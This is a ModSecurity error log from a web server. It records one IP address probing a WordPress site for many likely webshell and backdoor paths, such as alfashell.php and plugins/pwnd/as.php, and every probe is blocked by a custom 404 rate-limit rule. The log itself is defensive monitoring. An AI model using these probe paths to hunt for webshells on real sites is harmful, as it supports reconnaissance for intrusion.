[Sun May 03 09:57:07.462338 2026] [:error] [pid 37126:tid 37162] [client 172.173.121.85:5866] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "afarc_R_A42N-LtDyrvrQwAAAAk"]
[Sun May 03 09:57:07.843147 2026] [:error] [pid 37127:tid 37186] [client 172.173.121.85:5205] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "afarc_8khJXb5O5aWVXzDgAAAEI"]
[Sun May 03 09:57:08.238402 2026] [:error] [pid 40422:tid 40443] [client 172.173.121.85:5181] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "afardEHBbBLrXh6PBuuvBQAAAVE"]
[Sun May 03 09:57:08.617065 2026] [:error] [pid 40422:tid 40449] [client 172.173.121.85:5179] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "afardEHBbBLrXh6PBuuvBwAAAVc"]
[Sun May 03 09:57:09.011251 2026] [:error] [pid 37127:tid 37192] [client 172.173.121.85:5137] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "afardf8khJXb5O5aWVXzEQAAAEg"]
[Sun May 03 09:57:09.397323 2026] [:error] [pid 40422:tid 40438] [client 172.173.121.85:5857] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "afardUHBbBLrXh6PBuuvCQAAAUw"]
[Sun May 03 09:57:09.804099 2026] [:error] [pid 37127:tid 37205] [client 172.173.121.85:5192] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "afardf8khJXb5O5aWVXzEgAAAFM"]
[Sun May 03 09:57:10.823768 2026] [:error] [pid 40422:tid 40434] [client 172.173.121.85:5861] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "afardkHBbBLrXh6PBuuvDQAAAUg"]
[Sun May 03 09:57:11.228963 2026] [:error] [pid 40422:tid 40446] [client 172.173.121.85:5207] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "afard0HBbBLrXh6PBuuvDwAAAVQ"]
[Sun May 03 09:57:11.613605 2026] [:error] [pid 40422:tid 40440] [client 172.173.121.85:5918] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "afard0HBbBLrXh6PBuuvEQAAAU4"]
[Sun May 03 09:57:12.010471 2026] [:error] [pid 37246:tid 37272] [client 172.173.121.85:6091] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "afareDhvYFGNwhnPamqZlQAAARY"]
[Sun May 03 09:57:12.899073 2026] [:error] [pid 37126:tid 37174] [client 172.173.121.85:5220] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "afarePR_A42N-LtDyrvrRQAAABU"]
[Sun May 03 09:57:13.782333 2026] [:error] [pid 37246:tid 37270] [client 172.173.121.85:5877] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "afareThvYFGNwhnPamqZmAAAARQ"]
[Sun May 03 09:57:14.179734 2026] [:error] [pid 40422:tid 40449] [client 172.173.121.85:5832] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "afarekHBbBLrXh6PBuuvFgAAAVc"]
[Sun May 03 09:57:14.628480 2026] [:error] [pid 40422:tid 40428] [client 172.173.121.85:5171] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "afarekHBbBLrXh6PBuuvFwAAAUI"]
[Sun May 03 09:57:15.026547 2026] [:error] [pid 40422:tid 40434] [client 172.173.121.85:30310] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "afare0HBbBLrXh6PBuuvGgAAAUg"]
[Sun May 03 09:57:15.411430 2026] [:error] [pid 40456:tid 40482] [client 172.173.121.85:5833] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "afarezSujTvwdzEkjSf1OgAAAZg"]
[Sun May 03 09:57:15.818246 2026] [:error] [pid 40456:tid 40462] [client 172.173.121.85:5829] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "afarezSujTvwdzEkjSf1PAAAAYQ"]
[Sun May 03 09:57:16.194897 2026] [:error] [pid 40422:tid 40450] [client 172.173.121.85:5910] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "afarfEHBbBLrXh6PBuuvIAAAAVg"]
[Sun May 03 09:57:16.648347 2026] [:error] [pid 40422:tid 40443] [client 172.173.121.85:5131] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "afarfEHBbBLrXh6PBuuvIQAAAVE"]
[Sun May 03 09:57:17.057917 2026] [:error] [pid 40422:tid 40428] [client 172.173.121.85:5125] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "afarfUHBbBLrXh6PBuuvJAAAAUI"]
[Sun May 03 09:57:17.460396 2026] [:error] [pid 40422:tid 40433] [client 172.173.121.85:5862] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "afarfUHBbBLrXh6PBuuvKAAAAUc"]
[Sun May 03 09:57:17.840766 2026] [:error] [pid 40456:tid 40475] [client 172.173.121.85:5875] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "afarfTSujTvwdzEkjSf1PgAAAZE"]
[Sun May 03 09:57:18.218186 2026] [:error] [pid 40456:tid 40461] [client 172.173.121.85:5881] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "afarfjSujTvwdzEkjSf1QAAAAYM"]
[Sun May 03 09:57:18.617735 2026] [:error] [pid 40422:tid 40450] [client 172.173.121.85:5737] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "afarfkHBbBLrXh6PBuuvLAAAAVg"]
[Sun May 03 09:57:19.012668 2026] [:error] [pid 40422:tid 40435] [client 172.173.121.85:5844] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "afarf0HBbBLrXh6PBuuvLQAAAUk"]
[Sun May 03 09:57:19.428326 2026] [:error] [pid 40422:tid 40429] [client 172.173.121.85:5222] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "afarf0HBbBLrXh6PBuuvLwAAAUM"]
[Sun May 03 09:57:19.856666 2026] [:error] [pid 40422:tid 40427] [client 172.173.121.85:5909] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "afarf0HBbBLrXh6PBuuvMQAAAUE"]
[Sun May 03 09:57:20.245126 2026] [:error] [pid 40422:tid 40439] [client 172.173.121.85:5864] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "afargEHBbBLrXh6PBuuvNAAAAU0"]
[Sun May 03 09:57:21.332842 2026] [:error] [pid 40422:tid 40442] [client 172.173.121.85:5882] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "afargUHBbBLrXh6PBuuvNgAAAVA"]
[Sun May 03 09:57:21.762878 2026] [:error] [pid 40456:tid 40466] [client 172.173.121.85:5735] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afargTSujTvwdzEkjSf1QwAAAYg"]
[Sun May 03 09:57:22.141675 2026] [:error] [pid 37126:tid 37161] [client 172.173.121.85:5235] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afargvR_A42N-LtDyrvrSQAAAAg"]
[Sun May 03 09:57:22.534129 2026] [:error] [pid 40422:tid 40430] [client 172.173.121.85:5880] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afargkHBbBLrXh6PBuuvPQAAAUQ"]
[Sun May 03 09:57:24.371467 2026] [:error] [pid 40456:tid 40458] [client 172.173.121.85:5214] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afarhDSujTvwdzEkjSf1RAAAAYA"]
[Sun May 03 09:57:24.763509 2026] [:error] [pid 37246:tid 37253] [client 172.173.121.85:5202] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "afarhDhvYFGNwhnPamqZmgAAAQU"]
[Sun May 03 09:57:25.153282 2026] [:error] [pid 40422:tid 40428] [client 172.173.121.85:30295] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "afarhUHBbBLrXh6PBuuvRwAAAUI"]
[Sun May 03 09:57:26.040311 2026] [:error] [pid 37246:tid 37249] [client 172.173.121.85:5830] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "afarhjhvYFGNwhnPamqZnQAAAQE"]
[Sun May 03 09:57:26.421177 2026] [:error] [pid 40422:tid 40442] [client 172.173.121.85:5870] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "afarhkHBbBLrXh6PBuuvSAAAAVA"]
[Sun May 03 09:57:27.865544 2026] [:error] [pid 40422:tid 40430] [client 172.173.121.85:5896] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "afarh0HBbBLrXh6PBuuvSgAAAUQ"]
[Sun May 03 09:57:28.246587 2026] [:error] [pid 40422:tid 40441] [client 172.173.121.85:5876] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "afariEHBbBLrXh6PBuuvSwAAAU8"]
[Sun May 03 09:57:28.764459 2026] [:error] [pid 40456:tid 40468] [client 172.173.121.85:5945] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "afariDSujTvwdzEkjSf1RwAAAYo"]
[Sun May 03 09:57:29.163335 2026] [:error] [pid 40422:tid 40433] [client 172.173.121.85:5212] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "afariUHBbBLrXh6PBuuvTQAAAUc"]
[Sun May 03 09:57:29.548665 2026] [:error] [pid 40456:tid 40464] [client 172.173.121.85:5852] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "afariTSujTvwdzEkjSf1SAAAAYY"]
[Sun May 03 09:57:29.956057 2026] [:error] [pid 40456:tid 40460] [client 172.173.121.85:5135] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "afariTSujTvwdzEkjSf1SQAAAYI"]
[Sun May 03 09:57:30.374232 2026] [:error] [pid 40422:tid 40429] [client 172.173.121.85:5884] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "afarikHBbBLrXh6PBuuvUQAAAUM"]
[Sun May 03 09:57:31.823524 2026] [:error] [pid 40456:tid 40465] [client 172.173.121.85:5186] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "afarizSujTvwdzEkjSf1SgAAAYc"]
[Sun May 03 09:57:32.214438 2026] [:error] [pid 40422:tid 40442] [client 172.173.121.85:5895] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "afarjEHBbBLrXh6PBuuvVAAAAVA"]
[Sun May 03 09:57:32.594775 2026] [:error] [pid 37130:tid 37232] [client 172.173.121.85:5831] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "afarjKIu7bmXKXicRk9FSAAAAJM"]
[Sun May 03 09:57:33.007350 2026] [:error] [pid 37127:tid 37188] [client 172.173.121.85:5893] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "afarjf8khJXb5O5aWVXzFQAAAEQ"]
[Sun May 03 09:57:33.445961 2026] [:error] [pid 37127:tid 37207] [client 172.173.121.85:5837] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "afarjf8khJXb5O5aWVXzFwAAAFU"]
[Sun May 03 09:57:33.835264 2026] [:error] [pid 37127:tid 37186] [client 172.173.121.85:5851] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "afarjf8khJXb5O5aWVXzGAAAAEI"]
[Sun May 03 09:57:34.294638 2026] [:error] [pid 40456:tid 40466] [client 172.173.121.85:5914] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "afarjjSujTvwdzEkjSf1TQAAAYg"]
[Sun May 03 09:57:34.720838 2026] [:error] [pid 37127:tid 37189] [client 172.173.121.85:5825] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "afarjv8khJXb5O5aWVXzGQAAAEU"]
[Sun May 03 09:57:35.136074 2026] [:error] [pid 37127:tid 37187] [client 172.173.121.85:5231] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "afarj_8khJXb5O5aWVXzGgAAAEM"]
[Sun May 03 09:57:35.858360 2026] [:error] [pid 37126:tid 37177] [client 172.173.121.85:5247] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "afarj_R_A42N-LtDyrvrTgAAABg"]
[Sun May 03 09:57:36.249036 2026] [:error] [pid 37127:tid 37198] [client 172.173.121.85:5854] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "afarkP8khJXb5O5aWVXzHAAAAE0"]
